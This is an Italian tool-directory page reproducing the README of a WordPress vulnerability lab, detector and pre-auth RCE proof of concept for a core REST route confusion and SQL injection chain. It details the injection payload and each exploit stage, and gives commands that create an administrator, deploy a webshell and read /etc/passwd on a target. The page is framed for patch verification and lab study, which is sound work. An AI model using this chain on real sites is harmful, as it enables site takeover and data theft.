Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
wp2shell-lab — Rilevatore non distruttivo + laboratorio Docker per wp2shell (CVE-2026-63030 REST /batch/v1 route confusion + CVE-2026-60137 author__not_in SQLi) in WordPress core 6.9.0-6.9.4 / 7.0.0-7.0.1 | Kitploit
Strumenti/GitHubGitHub/dinosn/wp2shell-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubdinosn/wp2shell-lab

wp2shell-lab

Rilevatore non distruttivo + laboratorio Docker per wp2shell (CVE-2026-63030 REST /batch/v1 route confusion + CVE-2026-60137 author__not_in SQLi) in WordPress core 6.9.0-6.9.4 / 7.0.0-7.0.1

Vedi Repository
541729 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Lab wp2shell e detector + PoC RCE pre-auth

Un laboratorio autonomo, detector non distruttivo e proof-of-concept completo di RCE pre-autenticazione per wp2shell — la catena di vulnerabilità pre-autenticazione nel core di WordPress:

CVEComponenteClasseCVSS
CVE-2026-60137WP_Query::author__not_inSQL injection (CWE-89)9.1
CVE-2026-63030Confusione di route REST /batch/v1conflitto di interpretazione (CWE-436) → porta alla RCE7.5

Interessati: core di WordPress 6.9.0–6.9.4 e 7.0.0–7.0.1 (il solo sink SQLi interessa anche 6.8.0–6.8.5). Corretto in 6.8.6 / 6.9.5 / 7.0.2. Segnalata da Adam Kues (Assetnote / Searchlight Cyber); la SQLi è accreditata anche a TF1T, dtro, haongo. Catena RCE su stock predefinito (oEmbed → changeset → re-entry) di Mustafa Can İPEKÇİ (nukedx).

Prima di tutto, aggiornate. WordPress ha distribuito aggiornamenti automatici forzati per questo. Questa repo esiste per aiutarvi a verificare che il vostro parco installato sia patchato e a comprendere il bug — non per attaccare nessuno. Vedi SECURITY.md.


Cosa è realmente

La primitiva sempre valida è una SQL injection non autenticata, senza plugin, sul core stock che consente la lettura completa del database (hash delle password admin, tutto in wp_options/wp_users). Da sola merita il 9.1 e una patch immediata.

La RCE è reale e funziona su WordPress stock predefinito — nessun privilegio FILE, nessuna cache di oggetti persistente, nessun plugin, nessuna configurazione errata richiesta. La catena usa la SQLi in sola lettura come primitiva di falsificazione di righe (UNION ALL SELECT inietta righe wp_posts finte), quindi sfrutta la pipeline di rendering dei contenuti di WordPress per convertire quelle righe falsificate in vere scritture sul database tramite la cache oEmbed. Da lì, l'elevazione del changeset e il parse_request rientrante vengono eseguiti nel contesto admin, creando un nuovo account amministratore — tutto da una singola richiesta HTTP non autenticata.

La catena completa (nessuna credenziale, singolo punto di ingresso POST /?rest_route=/batch/v1)

root@kitploit:~
1. Route confusion    — double-nested batch desyncs $matches/$validation so a GET
                        /wp/v2/widgets runs under posts::get_items() (public), reaching
                        WP_Query's author__not_in with attacker-controlled input.

2. Row forgery        — author__not_in is string-concatenated into SQL;
                        "1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
                        WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
                        treats -1 as "no limit" → empty $limits → split=false →
                        full SELECT wp_posts.* → UNION columns match).

3. oEmbed write       — forged posts carry [embed]<self-url>[/embed]; rendering via
                        context=view makes WordPress cache real oembed_cache posts in
                        the DB (turns read-only SQLi into writes with predictable IDs).

4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
                        forged post_type=request row with parent loops drives an
                        in-process re-entrant parse_request in admin context.

5. Admin creation     — POST /wp/v2/users in the same batch passes
                        current_user_can('create_users') → new administrator.

6. RCE                — login → plugin webshell upload → command execution → cleanup.

Gadget portanti (perché la catena regge)

La novità è la composizione, non un singolo bug — i singoli gadget sono comportamenti legittimi di WordPress. Dare loro un nome (come nel writeup di Adam Kues) rende leggibile il grafo delle righe falsificate in exploit() e segnala cosa ricontrollare dopo che i punti di ingresso sono stati patchati:

  • Riconciliazione cache/DB — quando un post in cache in memoria non concorda con la sua riga nel database, WordPress riconcilia tramite wp_update_post() e preferisce post_type/post_status in memoria, consentendo a una riga oembed_cache di essere riclassificata come un vero post/customize_changeset.
  • Rilevamento dei cicli preservando post_content — il filtro wp_insert_post_parent percorre la catena dei parent; quando rileva un ciclo chiama un secondo wp_update_post() che corregge il parent senza sovrascrivere post_content. Questo è l'anello critico: consente al post_content malevolo del changeset falsificato di sopravvivere. (È per questo che le righe falsificate usano loop self-/mutual-parent.)
  • Replay di hook tramite parse_request — la pubblicazione di un post attiva ; una riga falsificata con / innesca , rieseguendo la pipeline del batch mentre l'identità admin assunta dal changeset () è ancora attiva.

Questi gadget restano presenti nel WordPress patchato — sono stati chiusi solo i due punti di ingresso (desync del batch + bypass scalare di author__not_in). Qualsiasi nuova primitiva che falsifichi la cache dei post in memoria o scriva una riga oembed_cache riabiliterebbe la stessa identica coda di admin takeover.

Primitive di scrittura in fase di rendering

Tutte e quattro le primitive di scrittura in fase di rendering confermate dal vivo contro 7.0.1 — ciascuna falsificata come post non autenticato, renderizzata tramite la confusione del batch, e la conseguente scrittura nel database verificata tramite SQLi blind:

Cosa dimostra ogni risultato:

  • oembed — la primitiva di riferimento: una nuova riga wp_posts con slug previsto dall'attaccante (md5(url+serialize(attrs))) e un vero ID auto-increment. È l'unica che fornisce più righe di post su richiesta e nominabili dall'attaccante — motivo per cui la catena RCE la usa per sostenere il grafo changeset/request falsificato.
  • rss — la scrittura generale più potente: la chiave _site_transient_feed_<md5(url)> è completamente prevedibile e i byte memorizzati sono il corpo del feed che l'URL dell'attaccante serve — cioè l'attaccante controlla sia la chiave sia il valore. È una scrittura su wp_options (nessun ID post), quindi è una primitiva di avvelenamento delle option piuttosto che un ricambio per sostenere il changeset.
  • navigation — l'unico altro percorso non autenticato in cui "il rendering crea una vera riga di post". È single-shot (viene saltato se esiste un qualsiasi wp_navigation pubblicato) con slug fisso, quindi può sostenere al massimo un oggetto falsificato, a differenza delle N righe di oEmbed.
  • calendar — conferma che il percorso render→update_option scatta senza autenticazione, ma il nome dell'option e il suo valore '1'/'0' sono fissi/derivati dal database, quindi è una dimostrazione che "la scrittura avviene" senza alcun controllo dell'attaccante su chiave o valore.

Catene condizionali precedenti (superate dalla catena stock predefinita qui sopra)

  • Webshell INTO OUTFILE: richiede che l'utente del database di WordPress abbia il privilegio globale FILE + un secure_file_priv servito via web + la directory leggibile dall'utente web. Su host normali/managed nessuna di queste condizioni è vera.
  • SimplePie → WP_HTML_Token POP: call_user_func('wp_insert_user', user_data_array) — richiede gc_enabled()=false + HMAC valido (wp_hash dei byte serializzati esatti, richiede i segreti di wp-config.php).

Avvio rapido

Requisiti: Docker + Docker Compose v2, Python 3.8+ (sola stdlib), make, curl.

root@kitploit:~
make up          # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check       # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof       # -> also reads @@version and current_user() as read-only evidence
make exploit     # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched     # rebuild on the fixed image and re-check -> [not vulnerable]
make down        # tear down (removes volumes)

Cambiate la porta con WP_PORT=8100 make up.

Nota sull'immagine patchata: le immagini Docker ufficiali wordpress arrivano con uno o due giorni di ritardo rispetto alle release di sicurezza del core di WordPress. Se make patched segnala che wordpress:7.0.2 non è ancora su Docker Hub, riprovate più tardi oppure puntate al tag corretto che è stato pubblicato: make patched WP_PATCHED_TAG=6.9.5 (o 7.0.2 / 6.8.6). Qualsiasi WordPress ≥ 6.9.5 / 7.0.2 / 6.8.6 restituisce not vulnerable.

Output previsto

root@kitploit:~
$ make check
[VULNERABLE] http://localhost:8093  (WordPress 6.9.4, affected-full-chain)  [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
        confirmed: unauthenticated SQL injection
        rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)

$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!...  ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ make patched
[not vulnerable] http://localhost:8093  (WordPress 7.0.2, outside-affected-range)  [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]

Lo strumento (wp2shell_check.py)

Sola libreria standard, nessuna dipendenza.

Rilevamento (predefinito)

Non distruttivo, con fallback automatico su tre assi indipendenti, così un singolo percorso bloccato non viene mai letto come un falso negativo:

  • oracolo — prima un rapido differenziale booleano sul conteggio delle righe (invertite il WHERE iniettato tra true/false e osservate il X-WP-Total della query dei post confusi collassare, niente SLEEP); se non scatta, un differenziale temporale basato su SLEEP. Il SLEEP è avvolto in una tabella derivata — (SELECT 1 FROM (SELECT SLEEP(n))x) — così viene valutato una sola volta indipendentemente dal numero di righe (un SLEEP() nudo viene ottimizzato via su alcuni host managed e risulterebbe come falso negativo).
  • delivery — prima una POST JSON alla route del batch; se un edge blocca /wp-json, un form multipart rest_route=/batch/v1 su POST / (la forma esatta della richiesta dell'operatore).
  • slot — la richiesta spostata viene validata prima contro /wp/v2/users; se quell'endpoint è disabilitato per i chiamanti non autenticati (plugin Disable-REST-API, hardening contro l'enumerazione degli utenti), si ripiega sull'endpoint universale per singolo elemento .

Nessuna di queste modalità legge dati o modifica lo stato. --proof legge solo @@version e current_user() tramite una lettura blind limitata. Non estrae dati sensibili né tenta l'esecuzione di codice.

root@kitploit:~
python3 wp2shell_check.py https://your-site.example --authorized
python3 wp2shell_check.py -f assets.txt --authorized -t 20 --json > results.json
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080

RCE pre-auth (-c COMMAND)

Catena di sfruttamento completa: rilevamento → preflight di falsificazione delle righe → popolamento della cache oEmbed → estrazione UNION in-band → elevazione del changeset → parse_request rientrante → creazione dell'admin → login → webshell come plugin → esecuzione → auto-cleanup. Funziona su WordPress stock predefinito — nessun privilegio FILE, nessuna cache di oggetti persistente, nessun plugin richiesto.

root@kitploit:~
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"
python3 wp2shell_check.py https://target.example -c "cat /etc/passwd" --authorized
  • Preflight prima di qualsiasi scrittura. Un singolo echo UNION in-band conferma che il bypass di split_the_query con per_page=-1 funziona su questo target prima che la catena scriva qualsiasi cosa. Una cache di oggetti persistente (Redis/Memcached — comune sugli host managed) forza split_the_query e blocca la falsificazione delle righe: lo strumento lo segnala con precisione (la SQLi è ancora presente; è bloccata solo la RCE) e non lascia righe oembed_cache orfane.
  • Estrazione in-band. Il prefisso delle tabelle, l'ID dell'admin e gli ID di cache seedati vengono letti direttamente dalla risposta dei post confusi (una richiesta ciascuno) invece di una scala blind SLEEP byte per byte — ~50–100× meno richieste, esposizione a WAF/rate-limit di gran lunga inferiore. L'oracolo blind resta il fallback automatico se una lettura in-band dovesse essere filtrata.
  • Il plugin webshell si autodistrugge dopo un utilizzo (si disattiva ed elimina il proprio file).

Opzioni

-c CMD (RCE pre-auth), --proof (prove in sola lettura), -f FILE (scansione batch), -t/--threads N (worker concorrenti, default 10), --method auto|boolean|time, --delivery auto|json|multipart (alias --multipart), --slot auto|users|posts-item, --sleep N (ritardo iniettato, default 4), --rounds N (mediana su N probe), --route auto|rest-route|wp-json, --timeout N, --proxy URL, --json, .

Valori di stato

  • vulnerable — confermato attivamente tramite l'iniezione (confusione del batch, 6.9.0–7.0.1). Ciò che l'oracolo attivo dimostra è la SQL injection non autenticata; la RCE pre-auth è raggiungibile da essa su un'installazione stock ma richiede inoltre l'assenza di una cache di oggetti persistente (una precondizione non verificabile da remoto — il PoC RCE la verifica prima di scrivere). L'output rende esplicita questa distinzione (righe confirmed: / rce:).
  • affected_version — la versione rilevata è in un intervallo interessato ma il controllo attivo non è scattato (6.8.0–6.8.5 ha il sink SQLi ma non la confusione; oppure un WAF ha bloccato il probe).
  • not_vulnerable — controllo attivo negativo e versione fuori dagli intervalli interessati.

Codici di uscita: 0 = richiede attenzione, 1 = non vulnerabile, 2 = errore.

Robustezza: segue i redirect preservando il corpo della POST, canonicalizza l'host una volta all'inizio e ignora gli errori TLS (curl -k).


Rimedio

  • Patch a WordPress 6.9.5 / 7.0.2 (o 6.8.6 sul ramo 6.8).
  • Se non potete applicare subito la patch, bloccate al perimetro sia /wp-json/batch/v1 sia ?rest_route=/batch/v1 — una regola solo sul percorso "pretty" lascia aperta la route tramite query string — oppure richiedete l'autenticazione sulla route del batch tramite un filtro rest_pre_dispatch.

Crediti

  • Confusione di route + SQLi: Adam Kues (Assetnote / Searchlight Cyber)
  • Catena RCE su stock predefinito (oEmbed → changeset → re-entry): Mustafa Can İPEKÇİ (nukedx)
  • SQLi (CVE-2026-60137): accreditata anche a TF1T, dtro, haongo

Riferimenti

  • Searchlight Cyber / Assetnote — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • Gist RCE di mcipekci — https://gist.github.com/mcipekci/2b5027f965153d8058bbcfd63006ef79
  • Release di WordPress 7.0.2 — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  • Advisory: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf

Licenza

MIT — vedi LICENSE.

Scarica lo strumento
do_action("{$status}_{$type}")
post_status=parse
post_type=request
parse_request
wp_set_current_user
PrimitivaMarkup di innescoSinkIdentificatore previstoVerificato
oembed[embed]<url>[/embed]riga wp_posts (oembed_cache)post_name = md5(url+attrs)ID post creato
rsswp:rss {feedURL}site-transient in wp_options_site_transient_feed_<md5(url)>option_id, 5192 B in cache
navigationwp:navigationriga wp_posts (wp_navigation)post_name = 'navigation' (fisso)ID creato, slug navigation
calendarwp:calendarwp_optionswp_calendar_block_has_published_postsoption_id, valore '1'
/wp/v2/posts/<id>
--authorized